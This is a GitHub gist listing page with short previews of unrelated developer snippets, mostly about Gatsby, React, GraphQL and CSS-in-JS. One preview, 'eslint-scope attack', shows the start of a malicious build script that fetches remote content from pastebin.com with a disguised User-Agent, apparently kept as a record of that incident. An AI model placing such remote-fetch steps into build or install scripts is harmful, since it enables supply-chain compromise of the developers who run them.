Skip to content

Instantly share code, notes, and snippets.

View DSchau's full-sized avatar

Dustin Schau DSchau

View GitHub Profile
@kamilogorek
kamilogorek / _screenshot.md
Last active September 18, 2024 03:05
Clutter-free VS Code Setup
image
import { z } from "zod";
import { zodToTs, printNode } from "zod-to-ts";
// Replace with your `openai` thing
import { openai } from "../openai.server";
import endent from "endent";
function createJSONCompletion<T extends z.ZodType>({
prompt,
schema_name,
@tyhopp
tyhopp / render-to-pipeable-stream-error-handling.js
Last active May 6, 2024 10:23
renderToPipeableStream error handling
const React = require(`react`);
const { renderToPipeableStream } = require(`react-dom/server`);
const { Writable } = require(`stream`);
function MyComponent() {
throw new Error(`My error`);
}
class MyWritableStream extends Writable {
constructor() {
@jadenlemmon
jadenlemmon / index.js
Created November 1, 2021 17:55
Example A/B Test Gatsby v4 SSR Cookies
import { sample } from 'lodash';
import React from 'react';
import cookie from 'cookie';
import Layout from '../components/layout';
import HomeV1 from '../components/scenes/home/v1';
import HomeV2 from '../components/scenes/home/v2';
const EXPERIMENT_OPTIONS = {
v1: HomeV1,
v2: HomeV2,
@gdhardy1
gdhardy1 / gatsbyRetryGraphQL.js
Last active December 22, 2020 22:50
Gatsby Retry GraphQL Query
// Composing Apollo links
// https://www.apollographql.com/docs/link/composition/
// for apollo-retry-link info:
// - https://www.apollographql.com/docs/link/links/retry/
// - https://www.youtube.com/watch?v=bv74TcKb1jw
// for gatsby-source-grapql config info:
// see https://www.gatsbyjs.com/plugins/gatsby-source-graphql/
@m-allanson
m-allanson / gatsby-node.js
Last active May 31, 2019 03:53
Modify a rule from your Gatsby site's webpack config
exports.onCreateWebpackConfig = ({ actions, getConfig }) => {
// inline files that are smaller than this (in bytes), Gatsby's default vaule is 10000
const LIMIT = 2000;
// find patterns from gatsby/src/utils/webpack-utils.js
// https://github.com/gatsbyjs/gatsby/blob/03ddfdf9b6f5a132fe82c202c95829f6f42cd40b/packages/gatsby/src/utils/webpack-utils.js#L288-L435
// for fonts instead of images, use: /\.(eot|otf|ttf|woff(2)?)(\?.*)?$/
const PATTERN = /\.(ico|svg|jpg|jpeg|png|gif|webp)(\?.*)?$/;
const config = getConfig();
@threepointone
threepointone / for-snook.md
Last active August 26, 2023 15:43
For Snook

https://twitter.com/snookca/status/1073299331262889984?s=21

‪“‬In what way is JS any more maintainable than CSS? How does writing CSS in JS make it any more maintainable?”

‪Happy to chat about this. There’s an obvious disclaimer that there’s a cost to css-in-js solutions, but that cost is paid specifically for the benefits it brings; as such it’s useful for some usecases, and not meant as a replacement for all workflows. ‬

‪(These conversations always get heated on twitter, so please believe that I’m here to converse, not to convince. In return, I promise to listen to you too and change my opinions; I’ve had mad respect for you for years and would consider your feedback a gift. Also, some of the stuff I’m writing might seem obvious to you; I’m not trying to tell you if all people of some of the details, but it might be useful to someone else who bumps into this who doesn’t have context)‬

So the big deal about css-in-js (cij) is selectors.

import * as React from "react";
import * as Vue from "vue/dist/vue";
import VueElement from "./VueElement";
import { PropertyControls, ControlType } from "framer";
// Define type of property
interface Props {
text: string;
}
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@swalkinshaw
swalkinshaw / tutorial.md
Last active November 13, 2023 08:40
Designing a GraphQL API